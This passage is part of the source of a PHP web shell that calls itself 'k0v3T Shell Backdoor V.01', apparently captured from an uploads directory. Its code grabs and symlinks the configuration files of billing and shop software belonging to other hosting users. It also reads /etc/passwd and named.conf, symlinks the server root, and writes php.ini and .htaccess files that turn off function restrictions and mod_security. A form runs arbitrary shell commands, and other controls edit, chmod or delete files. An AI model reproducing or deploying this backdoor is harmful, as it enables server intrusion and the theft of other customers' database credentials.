"WHMCS",\r\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\r\n); \r\n\r\nforeach($grab_config as $config => $nama_config) {\r\n\tif($_POST[\'config\'] == \'grab\') {\r\n$ambil_config = file_get_contents($config);\r\nif($ambil_config == \'\') {\r\n} else {\r\n$file_config = fopen("k0v3T_configgrab/$user_k0v3T-$nama_config.txt","w");\r\nfputs($file_config,$ambil_config);\r\n}\r\n}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@symlink($config,"k0v3T_Symconfig/".$user_k0v3T."-".$nama_config.".txt");\r\n}\r\nif($_POST[\'config\'] == \'404\') {\r\n$sym404=symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt");\r\nif($sym404){\r\n\t@mkdir("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404", 0777);\r\n\t$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *";\r\n\r\n@file_put_contents("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/.htaccess",$htaccess);\r\n\r\n@symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/k0v3T.txt");\r\n\r\n\t}\r\n\r\n}\r\n\r\n } \r\n\t\t} if($_POST[\'config\'] == \'grab\') {\r\n echo "<center><a href=\'?path=$path/k0v3T_configgrab\'><font color=lime>Done</font></a></center>";\r\n\t\t}\r\n if($_POST[\'config\'] == \'404\') {\r\n echo "<center>\r\n<a href=\\"k0v3T_sym404/root/\\">SymlinkNya</a>\r\n<br><a href=\\"k0v3T_sym404/\\">Configurations</a></center>";\r\n }\r\n if($_POST[\'config\'] == \'symlink\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symconfig/root/\\">Symlinknya</a>\r\n<br><a href=\\"k0v3T_symconfig/\\">Configurations</a></center>";\r\n\t\t\t}if($_POST[\'config\'] == \'symvhost\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symvhost/root/\\">Root Server</a>\r\n<br><a href=\\"k0v3T_symvhost/\\">Configurations</a></center>";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n echo "<form method=\\"post\\" action=\\"\\"><center>\r\n\t\t</center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\r\n echo include("/etc/passwd"); \r\n echo "</textarea><br><br>\r\n <select class=\\"select\\" name=\\"config\\" style=\\"width: 450px;\\" height=\\"10\\">\r\n <option value=\\"grab\\">Config Grab</option>\r\n <option value=\\"symlink\\">Symlink Config</option>\r\n\t\t<option value=\\"404\\">Config 404</option>\r\n\t\t<option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\r\n}\r\n\r\n} elseif($_GET[\'a\'] == \'disablefunc\'){\r\n\t\techo "<br><br><center>";\r\n\t\techo "<form method=post><input type=submit name=ini value=\'php.ini\' /> <input type=submit name=htce value=\'.htaccess\' /> <input type=submit name=litini value=\'Litespeed\' /></form>";\r\n\t\tif(isset($_POST[\'ini\']))\r\n{\r\n\t\t$file = fopen("php.ini","w");\r\n\t\techo fwrite($file,"disable_functions=none\r\nsafe_mode = Off\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "<a href=\'php.ini\'>click here!</a>";\r\n}\t\tif(isset($_POST[\'htce\']))\r\n{\r\n\t\t$file = fopen(".htaccess","w");\r\n\t\techo fwrite($file,"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "htaccess successfully created!";\r\n} if(isset($_POST[\'litini\'])){\r\n\t\t$iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\r\n\t\t\t $byph = "safe_mode = Off n disable_functions= ";\r\n\t\t$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\r\n\t\tfile_put_contents("php.ini",base64_decode($byph));\r\n\t\tfile_put_contents("ini.php",base64_decode($iniph));\r\n\t\tfile_put_contents(".htaccess",base64_decode($comp));\r\n\t\techo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\r\n\t\techo"</center>";\r\n}\r\n\r\n}\r\nelseif($_GET[\'a\'] == \'symlink\') {\r\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\r\n$d0mains = @file("/etc/named.conf");\r\n##httaces\r\nif($d0mains){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\n@exe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n$fp3 = fopen(\'.htaccess\',\'w\');\r\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\necho "<br>\r\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";\r\n$dcount = 1;\r\nforeach($d0mains as $d0main){\r\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\necho "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\r\n<td>".$user[\'name\']."</td>\r\n<td><a href=\'$full/k0v3T_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\r\nflush();\r\n$dcount++;}}}\r\necho "</table>";\r\n}else{\r\n$TEST=@file(\'/etc/passwd\');\r\nif ($TEST){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\nexe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);\r\n @fclose($fp3);\r\n echo "\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $dcount = 1;\r\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\r\n while(!feof($file)){\r\n $s = fgets($file);\r\n $matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n $matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}fclose($file);\r\n echo "</table>";}else{if($os != "Windows"){@mkdir("k0v3T_sym",0777);@chdir("k0v3T_sym");@exe("ln -s / root");$file3 = \'\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n echo "\r\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $temp = "";$val1 = 0;$val2 = 1000;\r\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\r\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\r\n echo \'<br/>\';$temp = trim($temp);$file5 =\r\n fopen("test.txt","w");\r\n fputs($file5,$temp);\r\n fclose($file5);$dcount = 1;$file =\r\n fopen("test.txt", "r") or exit("Unable to open file!");\r\n while(!feof($file)){$s = fgets($file);$matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}\r\n fclose($file);\r\n echo "</table></div></center>";unlink("test.txt");\r\n } else\r\n echo "<center><font size=3>Cannot create Symlink</font></center>";\r\n }\r\n }\r\n##JUMPING \r\n} elseif($_GET[\'a\'] == \'jumping\') {\r\n $i = 0;\r\n echo "<pre><div class=\'margin: 5px auto;\'>";\r\n $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\r\n while($passwd = fgets($etc)) {\r\nif($passwd == \'\' || !$etc) {\r\n echo "<font color=red>Can\'t read /etc/passwd</font>";\r\n} else {\r\n preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n foreach($user_jumping[1] as $user_idx_jump) {\r\n $user_jumping_dir = "/home/$user_idx_jump/public_html";\r\n if(is_readable($user_jumping_dir)) {\r\n $i++;\r\n $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n if(is_writable($user_jumping_dir)) {\r\n $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\r\n }\r\n echo $jrw;\r\n if(function_exists(\'posix_getpwuid\')) {\r\n $domain_jump = file_get_contents("/etc/named.conf"); \r\n if($domain_jump == \'\') {\r\n echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\r\n } else {\r\n preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n foreach($domains_jump[1] as $dj) {\r\n $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n $user_jumping_url = $user_jumping_url[\'name\'];\r\n if($user_jumping_url == $user_idx_jump) {\r\n echo " => ( <u>$dj</u> )<br>";\r\n break;\r\n }\r\n }\r\n }\r\n } else {\r\n echo "<br>";\r\n }\r\n }\r\n }\r\n}\r\n }\r\n if($i == 0) {\r\n } else {\r\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\r\n \r\n echo "</div></pre>";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif($_GET[\'a\'] == \'cmd\') {\r\n\techo "<form method=\'post\'>\r\n\t<font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\r\n\t<input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\r\n\t</form>";\r\n\tif($_POST[\'do_cmd\']) {\r\n\t\techo "<pre>".exe($_POST[\'cmd\'])."</pre>";\r\n\t}\r\n\r\n//START\r\n} elseif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="#5ddcfc">Ganti Permission Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Permission Gagal Gan</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Chmod" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="#5ddcfc">Ganti Nama Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Nama Gagal Gan</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Ubah Nama" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="#5ddcfc">Edit File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Edit File Gagal Gan</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Edit File" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus Dir Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="red">Hapus Dir Gagal Gan</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="#red">Hapus File Gagal Gan</font><br />\';\r\n}\r\n}\r\n}\r\n\t\t\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\r\n<tr class="first">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\r\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>";\r\n\t\r\nif(is_writable("$path/$dir")) echo \'<font color="#5ddcfc">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\r\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\r\n<td><center><font color=Red>".$size."</font></center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color=#5ddcfc>\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor V.01<br><font size=4 ; color=#5ddcfc>Copyright © <font color="red">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}' /var/www/html/uploads/Shell2.php 89 0
